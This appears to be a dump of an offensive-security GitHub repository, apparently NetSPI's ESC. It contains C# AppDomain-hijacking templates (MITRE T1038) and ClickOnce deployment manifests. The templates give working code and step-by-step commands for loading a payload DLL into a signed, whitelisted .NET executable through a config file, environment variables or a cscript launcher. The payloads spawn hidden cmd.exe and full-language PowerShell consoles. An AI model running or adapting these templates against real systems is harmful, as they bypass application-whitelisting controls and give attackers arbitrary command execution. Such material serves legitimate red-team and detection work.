├── AppDomain-Hijack-Templates ├── AppDomain-Hijack-CmdWrapper.cs ├── AppDomain-Hijack-HelloWorld.cs ├── AppDomain-Hijack-PsConsole.cs ├── AppDomain-Hijack-WriteFile.cs └── AppDomainHijack.exe.config ├── ClickOnceSQL ├── .vs │ └── ClickOnceSQL │ │ ├── DesignTimeBuild │ │ └── .dtbcache │ │ └── v15 │ │ ├── .suo │ │ └── Server │ │ └── sqlite3 │ │ ├── db.lock │ │ ├── storage.ide │ │ ├── storage.ide-shm │ │ └── storage.ide-wal ├── App.config ├── Application Files │ └── ClickOnceSQL_1_0_0_5 │ │ ├── ClickOnceSQL.application │ │ ├── ClickOnceSQL.exe.config.deploy │ │ ├── ClickOnceSQL.exe.deploy │ │ ├── ClickOnceSQL.exe.manifest │ │ └── System.Management.Automation.dll.deploy ├── ClickOnceSQL.application ├── ClickOnceSQL.csproj ├── ClickOnceSQL.csproj.user ├── ClickOnceSQL.sln ├── ClickOnceSQL_TemporaryKey.pfx ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── README.txt ├── bin │ └── Release │ │ ├── App.config │ │ ├── ClickOnceSQL.application │ │ ├── ClickOnceSQL.exe │ │ ├── ClickOnceSQL.exe.config │ │ ├── ClickOnceSQL.exe.manifest │ │ ├── ClickOnceSQL.html │ │ ├── ClickOnceSQL.pdb │ │ ├── System.Management.Automation.dll │ │ └── app.publish │ │ ├── Application Files │ │ └── ClickOnceSQL_1_0_0_5 │ │ │ ├── ClickOnceSQL.exe.config.deploy │ │ │ ├── ClickOnceSQL.exe.deploy │ │ │ ├── ClickOnceSQL.exe.manifest │ │ │ └── System.Management.Automation.dll.deploy │ │ ├── ClickOnceSQL.application │ │ ├── ClickOnceSQL.exe │ │ ├── publish.htm │ │ └── setup.exe ├── obj │ ├── Debug │ │ ├── ClickOnce-Psh-Template.csproj.CopyComplete │ │ ├── ClickOnce-Psh-Template.csproj.CoreCompileInputs.cache │ │ ├── ClickOnce-Psh-Template.csproj.FileListAbsolute.txt │ │ ├── ClickOnce-Psh-Template.csprojAssemblyReference.cache │ │ ├── ClickOnceSQL.csproj.CopyComplete │ │ ├── ClickOnceSQL.csproj.CoreCompileInputs.cache │ │ ├── ClickOnceSQL.csproj.FileListAbsolute.txt │ │ ├── ClickOnceSQL.csprojAssemblyReference.cache │ │ ├── ConsoleApplication2.application │ │ ├── ConsoleApplication2.csproj.FileListAbsolute.txt │ │ ├── ConsoleApplication2.csprojResolveAssemblyReference.cache │ │ ├── ConsoleApplication2.exe │ │ ├── ConsoleApplication2.exe.manifest │ │ ├── ConsoleApplication2.pdb │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ │ └── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs │ └── Release │ │ ├── ClickOnce-Psh-Template.csproj.CopyComplete │ │ ├── ClickOnce-Psh-Template.csproj.CoreCompileInputs.cache │ │ ├── ClickOnce-Psh-Template.csproj.FileListAbsolute.txt │ │ ├── ClickOnce-Psh-Template.csprojAssemblyReference.cache │ │ ├── ClickOnceSQL.application │ │ ├── ClickOnceSQL.csproj.CopyComplete │ │ ├── ClickOnceSQL.csproj.CoreCompileInputs.cache │ │ ├── ClickOnceSQL.csproj.FileListAbsolute.txt │ │ ├── ClickOnceSQL.csprojAssemblyReference.cache │ │ ├── ClickOnceSQL.exe │ │ ├── ClickOnceSQL.exe.manifest │ │ ├── ClickOnceSQL.pdb │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ │ └── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs ├── publish.htm └── setup.exe ├── LICENSE ├── Msbuild-Templates ├── Get-SQLQuery.psm1 ├── Get-Spn.ps1 ├── Get-SpnSql1.ps1 ├── Get-SpnSql2.ps1 ├── msbuild_ldap_dump.csproj ├── msbuild_ldap_sqlinstances.csproj ├── msbuild_ldap_users.csproj ├── msbuild_ldap_userspns.csproj ├── msbuild_powershell_console.csproj ├── msbuild_powershell_exec_file.csproj ├── msbuild_powershell_exec_iex.csproj ├── msbuild_powershell_exec_sb.csproj ├── msbuild_sql_query.csproj ├── msbuild_template.csproj ├── msbuild_template_datatable.csproj └── readme.md ├── PStoDotNetCheats.md ├── README.md ├── esc-appdomain-hijack.cs ├── esc-example.ps1 ├── esc.csproj ├── esc.dll ├── esc.xml ├── esc ├── esc.sln └── esc │ ├── App.config │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ └── esc.csproj └── screenshots ├── Access-CheckAccess.png ├── Access-CheckDefaultPw.png ├── Access-ShowAccess.png ├── Access-ShowAccess2.png ├── Access-TargetAll.png ├── AccessExport1.png ├── AccessExport2.png ├── Discovery-Broadcast.png ├── Discovery-DomainSPN.png ├── Discovery-Show.png ├── FileExfil1.png ├── FileExfil2.png ├── FileExfil3.png ├── IcmpExfil1.png ├── IcmpExfil12.png ├── IcmpExfil3.png ├── LoginAsPw1.png ├── LoginAsPw2.png ├── RunOsCmd1.png ├── Target-Instance1.png ├── Target-Instance2.png ├── Target-Instance3.png ├── esc-execute-via-appdomain-hijack.png ├── esc-execute-via-appdomain-hijack2.png ├── esc-execute-via-appdomain-hijack3.png ├── esc-execute-via-appdomain-hijack4.png ├── esc-logo.png ├── start-esc-compile-1.png ├── start-esc-compile-2.png ├── start-esc-msbuild-1.png └── start-esc-msbuild-2.png /AppDomain-Hijack-Templates/AppDomain-Hijack-CmdWrapper.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | AppDomain Hijacking Execution Method 4 | Payload: Cmd.exe Wrapper 5 | Description: This simply passes commands to c:\windows\system32\cmd.exe and display results. 6 | Mitre ATT&CK ID: T1038 7 | Author: Scott Sutherland, NetSPI 8 | Credits: Based on techniques by Casey Smith. 9 | 10 | Execution Option: Config File 11 | 1. Update code as need and compile this DLL. 12 | 13 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:AppDomain-Hijack-CmdWrapper.dll AppDomain-Hijack-CmdWrapper.cs 14 | 15 | 2. Locate .net executable that is white listed or signed by a trusted publisher using Get-PE function from Matt Graeber's PowerShell Arsenal Project. 16 | Example: c:\windows\system32\scriptrunner.exe. 17 | 18 | gci c:\windows\system32\*.exe | get-pe | where-object {$_.Imports.ModuleName -Contains "mscoree.dll"} | Select ModuleName -ExpandProperty modulename 19 | 20 | 3. Copy the .net executable to a writable directory. 21 | Example: C:\Windows\Temp 22 | 23 | Copy c:\windows\system32\scriptrunner.exe C:\Windows\Temp\scriptrunner.exe 24 | 25 | 4. Create a configuration file in the same folder with the content below. Name it after the target assembly, but append .config to the file name. 26 | Example: scriptrunner.exe.config 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 5. Run .net executable. Example: scriptrunner.exe 38 | 39 | scriptrunner.exe 40 | 41 | Execution Option: Environmental Variables 42 | Alternatively, set the following environmental variable and run the .net executable. 43 | Note: The configuration file will take president over the environmental variables, and setting environmental variables in the code will take president over config files. 44 | 45 | set APPDOMAIN_MANAGER_ASM=AppDomain-Hijack-CmdWrapper, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null 46 | set APPDOMAIN_MANAGER_TYPE=Hijack 47 | set COMPLUS_Version=v4.0.30319 48 | 49 | scriptrunner.exe 50 | 51 | Execution Option: cscript 52 | Alternatively, create a JS file with the following content and execute with cscript. 53 | 54 | new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\Windows\Temp'; 55 | new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_ASM') = 'AppDomain-Hijack-CmdWrapper, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null'; 56 | new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_TYPE') = 'Hijack'; 57 | var o = new ActiveXObject("System.Object"); 58 | 59 | cscript AppDomain-Hijack-CmdWrapper.js 60 | */ 61 | using System; 62 | using System.IO; 63 | 64 | public sealed class Hijack : AppDomainManager 65 | { 66 | public override void InitializeNewDomain(AppDomainSetup appDomainInfo) 67 | { 68 | BreakOut.RunCommand(); 69 | return; 70 | } 71 | 72 | public class BreakOut 73 | { 74 | public static string RunCommand() 75 | { 76 | Console.Write("AppDomainHijacked-CMD> "); 77 | String cmd = Console.ReadLine(); 78 | Console.WriteLine(cmd.ToString()); 79 | 80 | var proc = new System.Diagnostics.Process 81 | { 82 | StartInfo = new System.Diagnostics.ProcessStartInfo 83 | { 84 | FileName = "cmd.exe", 85 | Arguments = "/C " + cmd, 86 | UseShellExecute = false, 87 | RedirectStandardOutput = true, 88 | CreateNoWindow = true 89 | } 90 | }; 91 | 92 | proc.Start(); 93 | while (!proc.StandardOutput.EndOfStream) 94 | { 95 | string line = proc.StandardOutput.ReadLine(); 96 | Console.WriteLine(line.ToString()); 97 | } 98 | 99 | RunCommand(); 100 | return "nothing"; 101 | } 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /AppDomain-Hijack-Templates/AppDomain-Hijack-HelloWorld.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | AppDomain Hijacking Execution Method 4 | Payload: Hello World 5 | Description: This script will echo back anything written to the console. 6 | Mitre ATT&CK ID: T1038 7 | Author: Scott Sutherland, NetSPI 8 | Credits: Based on techniques by Casey Smith. 9 | 10 | Execution Option: Config File 11 | 12 | 1. Update code as need and compile this DLL. 13 | 14 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:AppDomain-Hijack-HelloWorld.dll AppDomain-Hijack-HelloWorld.cs 15 | 16 | 2. Locate .net executable that is white listed or signed by a trusted publisher using Get-PE function from Matt Graeber's PowerShell Arsenal Project. 17 | Example: c:\windows\system32\scriptrunner.exe. 18 | 19 | gci c:\windows\system32\*.exe | get-pe | where-object {$_.Imports.ModuleName -Contains "mscoree.dll"} | Select ModuleName -ExpandProperty modulename 20 | 21 | 3. Copy the .net executable to a writable directory. 22 | Example: C:\Windows\Temp 23 | 24 | Copy c:\windows\system32\scriptrunner.exe C:\Windows\Temp\scriptrunner.exe 25 | 26 | 4. Create a configuration file in the same folder with the content below. Name it after the target assembly, but append .config to the file name. 27 | Example: scriptrunner.exe.config 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 5. Run .net executable. Example: scriptrunner.exe 39 | 40 | scriptrunner.exe 41 | 42 | Execution Option: Environmental Variables 43 | Alternatively, set the following environmental variable and run the .net executable. 44 | Note: The configuration file will take president over the environmental variables, and setting environmental variables in the code will take president over config files. 45 | 46 | set APPDOMAIN_MANAGER_ASM=AppDomain-Hijack-HelloWorld, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null 47 | set APPDOMAIN_MANAGER_TYPE=Hijack 48 | set COMPLUS_Version=v4.0.30319 49 | 50 | scriptrunner.exe 51 | 52 | Execution Option: cscript 53 | Alternatively, create a JS file with the following content and execute with cscript. 54 | 55 | new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'c:\Window\Temp'; 56 | new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_ASM') = 'AppDomain-Hijack-HelloWorld, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null'; 57 | new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_TYPE') = 'Hijack'; 58 | var o = new ActiveXObject("System.Object"); 59 | 60 | cscript AppDomain-Hijack-HelloWorld.js 61 | 62 | */ 63 | using System; 64 | using System.IO; 65 | using System.IO.Compression; 66 | 67 | public sealed class Hijack : AppDomainManager 68 | { 69 | public override void InitializeNewDomain(AppDomainSetup appDomainInfo) 70 | { 71 | BreakOut.RunCommand(); 72 | return; 73 | } 74 | 75 | public class BreakOut 76 | { 77 | public static string RunCommand() 78 | { 79 | Console.Write("AppDomainHijacked> "); 80 | String cmd = Console.ReadLine(); 81 | Console.WriteLine(cmd.ToString()); 82 | 83 | Console.ReadLine(); 84 | 85 | RunCommand(); 86 | return "nothing"; 87 | } 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /AppDomain-Hijack-Templates/AppDomain-Hijack-PsConsole.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | AppDomain Hijacking Execution Method 4 | Payload: Interactive PowerShell Console 5 | Description: This script will provide an interactive PowerShell console (very basic) by wrapping System.Management.Automation.dll. 6 | Mitre ATT&CK ID: T1038 7 | Author: Scott Sutherland, NetSPI 8 | Credits: Based on techniques by Casey Smith. 9 | 10 | Execution Option: Config File 11 | 12 | 1. Update code as need and compile this DLL. Please note that the path to the System.Management.Automation.dll may change. 13 | 14 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\Program Files (x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll" /target:library /out:AppDomain-Hijack-PsConsole.dll AppDomain-Hijack-PsConsole.cs 15 | 16 | 2. Locate .net executable that is white listed or signed by a trusted publisher using Get-PE function from Matt Graeber's PowerShell Arsenal Project. 17 | Example: c:\windows\system32\scriptrunner.exe. 18 | 19 | gci c:\windows\system32\*.exe | get-pe | where-object {$_.Imports.ModuleName -Contains "mscoree.dll"} | Select ModuleName -ExpandProperty modulename 20 | 21 | 3. Copy the .net executable to a writable directory. 22 | Example: C:\Windows\Temp 23 | 24 | Copy c:\windows\system32\scriptrunner.exe C:\Windows\Temp\scriptrunner.exe 25 | 26 | 4. Create a configuration file in the same folder with the content below. Name it after the target assembly, but append .config to the file name. 27 | Example: scriptrunner.exe.config 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 5. Run .net executable. Example: scriptrunner.exe 39 | 40 | scriptrunner.exe 41 | 42 | Execution Option: Environmental Variables 43 | Alternatively, set the following environmental variable and run the .net executable. 44 | Note: The configuration file will take president over the environmental variables, and setting environmental variables in the code will take president over config files. 45 | 46 | set APPDOMAIN_MANAGER_ASM=AppDomain-Hijack-PsConsole, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null 47 | set APPDOMAIN_MANAGER_TYPE=Hijack 48 | set COMPLUS_Version=v4.0.30319 49 | 50 | scriptrunner.exe 51 | 52 | Execution Option: cscript 53 | Alternatively, create a JS file with the following content and execute with cscript. 54 | 55 | new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\Windows\Temp'; 56 | new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_ASM') = 'AppDomain-Hijack-PsConsole, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null'; 57 | new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_TYPE') = 'Hijack'; 58 | var o = new ActiveXObject("System.Object"); 59 | 60 | cscript trigger.js 61 | 62 | */ 63 | using System; 64 | using System.IO; 65 | using System.Collections.ObjectModel; 66 | using System.Management.Automation; 67 | using System.Management.Automation.Runspaces; 68 | 69 | public sealed class Hijack : AppDomainManager 70 | { 71 | public override void InitializeNewDomain(AppDomainSetup appDomainInfo) 72 | { 73 | BreakOut.RunPSCommand(); 74 | return; 75 | } 76 | 77 | public class BreakOut 78 | { 79 | public static string RunPSCommand() 80 | { 81 | Console.Write("AppDomainHijacked-PS> "); 82 | String cmd = Console.ReadLine(); 83 | 84 | InitialSessionState iss = InitialSessionState.CreateDefault(); 85 | 86 | iss.LanguageMode = PSLanguageMode.FullLanguage; 87 | 88 | Runspace rs = RunspaceFactory.CreateRunspace(iss); 89 | rs.Open(); 90 | 91 | PowerShell ps = PowerShell.Create(); 92 | ps.Runspace = rs; 93 | ps.AddScript(cmd); 94 | 95 | Collection output = ps.Invoke(); 96 | if (output != null) 97 | { 98 | foreach (PSObject rtnItem in output) 99 | { 100 | Console.WriteLine(rtnItem.ToString()); 101 | } 102 | } 103 | rs.Close(); 104 | 105 | Console.ReadLine(); 106 | RunPSCommand(); 107 | return "nothing"; 108 | } 109 | } 110 | } 111 | -------------------------------------------------------------------------------- /AppDomain-Hijack-Templates/AppDomain-Hijack-WriteFile.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | AppDomain Hijacking Execution Method 4 | Payload: File write 5 | Description: This will write the file C:\Windows\Temp\AppDomainHijacked.txt. 6 | Mitre ATT&CK ID: T1038 7 | Author: Scott Sutherland, NetSPI 8 | Credits: Based on techniques by Casey Smith. 9 | 10 | Execution Option: Config File 11 | 1. Update code as need and compile this DLL. 12 | 13 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:AppDomain-Hijack-WriteFile.dll AppDomain-Hijack-WriteFile.cs 14 | 15 | 2. Locate .net executable that is white listed or signed by a trusted publisher using Get-PE function from Matt Graeber's PowerShell Arsenal Project. 16 | Example: c:\windows\system32\scriptrunner.exe. 17 | 18 | gci c:\windows\system32\*.exe | get-pe | where-object {$_.Imports.ModuleName -Contains "mscoree.dll"} | Select ModuleName -ExpandProperty modulename 19 | 20 | 3. Copy the .net executable to a writable directory. 21 | Example: C:\Windows\Temp 22 | 23 | Copy c:\windows\system32\scriptrunner.exe C:\Windows\Temp\scriptrunner.exe 24 | 25 | 4. Create a configuration file in the same folder with the content below. Name it after the target assembly, but append .config to the file name. 26 | Example: scriptrunner.exe.config 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 5. Run .net executable. Example: scriptrunner.exe 38 | 39 | scriptrunner.exe 40 | 41 | Execution Option: Environmental Variables 42 | Alternatively, set the following environmental variable and run the .net executable. 43 | Note: The configuration file will take president over the environmental variables, and setting environmental variables in the code will take president over config files. 44 | 45 | set APPDOMAIN_MANAGER_ASM=AppDomain-Hijack-WriteFile, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null 46 | set APPDOMAIN_MANAGER_TYPE=Hijack 47 | set COMPLUS_Version=v4.0.30319 48 | 49 | scriptrunner.exe 50 | 51 | Execution Option: cscript 52 | Alternatively, create a JS file with the following content and execute with cscript. 53 | 54 | new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\Windows\Temp'; 55 | new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_ASM') = 'Hijack-WriteFile, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null'; 56 | new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_TYPE') = 'Hijack'; 57 | var o = new ActiveXObject("System.Object"); 58 | 59 | cscript AppDomain-Hijack-WriteFile.js 60 | 61 | */ 62 | using System; 63 | using System.IO; 64 | 65 | public sealed class Hijack : AppDomainManager 66 | { 67 | public override void InitializeNewDomain(AppDomainSetup appDomainInfo) 68 | { 69 | BreakOut.RunWriteCommand(); 70 | return; 71 | } 72 | 73 | public class BreakOut 74 | { 75 | public static string RunWriteCommand() 76 | { 77 | string[] lines = { "This", "was", "fun." }; 78 | System.IO.File.WriteAllLines(@"C:\Windows\Temp\AppDomainHijacked.txt", lines); 79 | return "nothing"; 80 | } 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /AppDomain-Hijack-Templates/AppDomainHijack.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /ClickOnceSQL/.vs/ClickOnceSQL/DesignTimeBuild/.dtbcache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/.vs/ClickOnceSQL/DesignTimeBuild/.dtbcache -------------------------------------------------------------------------------- /ClickOnceSQL/.vs/ClickOnceSQL/v15/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/.vs/ClickOnceSQL/v15/.suo -------------------------------------------------------------------------------- /ClickOnceSQL/.vs/ClickOnceSQL/v15/Server/sqlite3/db.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/.vs/ClickOnceSQL/v15/Server/sqlite3/db.lock -------------------------------------------------------------------------------- /ClickOnceSQL/.vs/ClickOnceSQL/v15/Server/sqlite3/storage.ide: -------------------------------------------------------------------------------- 1 | SQLite format 3@ .A  -------------------------------------------------------------------------------- /ClickOnceSQL/.vs/ClickOnceSQL/v15/Server/sqlite3/storage.ide-shm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/.vs/ClickOnceSQL/v15/Server/sqlite3/storage.ide-shm -------------------------------------------------------------------------------- /ClickOnceSQL/.vs/ClickOnceSQL/v15/Server/sqlite3/storage.ide-wal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/.vs/ClickOnceSQL/v15/Server/sqlite3/storage.ide-wal -------------------------------------------------------------------------------- /ClickOnceSQL/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ClickOnceSQL/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.application: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | vFZyxcC2V4FtJ94Q8dLBCEiXCbkjSS2qxHi+P8aeYoU= 25 | 26 | 27 | 28 | 2/M5Gy8+J1k2+7CeMN2x7P5rZcy1qHR4Rv8n34FQgl0=jbDh9Fkaw1u/vUtyzeV8+2sA3diEJOB0DK13JLYdK2MIyxdPnW8L1NEH7QdCh5gnie/zDeSbV+zBn2f4ZnqSxaK5ucrsjqAyCw+3T0osN3IBrHJ0Z52V1TqJlchy65f6jMKKaQU2VOteVIageWbb0NGklJ0apwqHN6y6iag8i1g=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABCN=NETSPI\ssutherland6HYO1P8SpDlpMCndfQzjFcr9Rt/ZAeMKnBXPEa8MFiI=hrScXkO9xYlc6YI7BLwmMvGgjl2Jbsjmz9UPPjR7GawOoRsG/BdUANFhsI8UvVI7RB/2X3U6SxYBKKIIK+BlLvsq2atRRqCSxTpePgGaxZA1T/ZYJvRrwsgPGx1dtfFtyO7iMQ7qlEvKb0SFpSa2Z2Aapo4v4ia7lZbOwzTufy8=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABMIIB4TCCAUqgAwIBAgIQfSK0I32WW55AktO/EQE2nDANBgkqhkiG9w0BAQsFADAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwHhcNMjAwNjE3MDAwMjUzWhcNMjEwNjE3MDYwMjUzWjAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKg2eey7NsX+Ny5kucuCjO9KgBtAiu9evCsP2rG0IUnegCMP9pREMiz6oja6VKpCHe6YcReix/zDYx1xbw5pKqFQ6N+WoCL29ku9rdhTRhYYoq+iD/lp/BKDk31gKViCyQSml0Lc3L0tqRyebQnktDK8fd+84cBUn69mMI2CzpcFAgMBAAEwDQYJKoZIhvcNAQELBQADgYEAExdMdX6WXpUaTzDNg/9fLGDDtCVJ+uVhBxlvJfq284leJVHlZ10Y40NfNGIG6Xo74k+BiHotaJDkcRL0BDaqGSm+kYfCUoO/EwiI7KARShUVVlav+74ttQnZ8FJEam5FNvS/d11ttjvQbnVF9LGAJCRkb8QgIT2zPe5GOxt5D34= -------------------------------------------------------------------------------- /ClickOnceSQL/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.exe.config.deploy: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ClickOnceSQL/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.exe.deploy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.exe.deploy -------------------------------------------------------------------------------- /ClickOnceSQL/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.exe.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | en7cSzFpXDxuQQpEss6wMV8mhFtfz/v2XAS3BDRmne4= 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | lkhv2UhjSeLBPorr/OgzCviQcmv6IIaZUQLkNI+1HZQ= 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 6N7MliNbVJSIAIPrecIshMbZ7zEoKLr5SQvud4LDUOw= 85 | 86 | 87 | HW3xcBc97JHtRzr6FnnTbq755VGCuRKO37SdGYTZIBw=VazDOatWn7hzQwcaoS+vNDWfk51IDqOnmOmYTP6HJFQrGWSnkzNBi0lTuPlvt86v6O6SUk8OWwJuwxuiRGrgbV5WDXe9+PRGZ1uKwk1Y/2oiUgmQF4N1zltg8EAeC9wSuHCsY1C0hMXrMRARrLVWkax0aLL9EW7PkM8XF3t9BkA=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABCN=NETSPI\ssutherlandSuRjfKtatyUy6Bc5+6iSmziXuEV5BVIj/YrOUGe0CNM=VVV3TNOn4QsoBSxZ4haaVtGUNUkXKADn/bOYP7IYE0kuPY2d5YSpRQt1FAdCIGyY3Hebzxtt4VVmD2zWrPWE7gCXcYc3vUktS45/wOMMdLMJxIPTd0O55uBCxgBrsA86FnvMMwjzfmH7yJZyI9uh70rA3yo3FKzAzXF1093zm6Q=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABMIIB4TCCAUqgAwIBAgIQfSK0I32WW55AktO/EQE2nDANBgkqhkiG9w0BAQsFADAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwHhcNMjAwNjE3MDAwMjUzWhcNMjEwNjE3MDYwMjUzWjAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKg2eey7NsX+Ny5kucuCjO9KgBtAiu9evCsP2rG0IUnegCMP9pREMiz6oja6VKpCHe6YcReix/zDYx1xbw5pKqFQ6N+WoCL29ku9rdhTRhYYoq+iD/lp/BKDk31gKViCyQSml0Lc3L0tqRyebQnktDK8fd+84cBUn69mMI2CzpcFAgMBAAEwDQYJKoZIhvcNAQELBQADgYEAExdMdX6WXpUaTzDNg/9fLGDDtCVJ+uVhBxlvJfq284leJVHlZ10Y40NfNGIG6Xo74k+BiHotaJDkcRL0BDaqGSm+kYfCUoO/EwiI7KARShUVVlav+74ttQnZ8FJEam5FNvS/d11ttjvQbnVF9LGAJCRkb8QgIT2zPe5GOxt5D34= -------------------------------------------------------------------------------- /ClickOnceSQL/Application Files/ClickOnceSQL_1_0_0_5/System.Management.Automation.dll.deploy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/Application 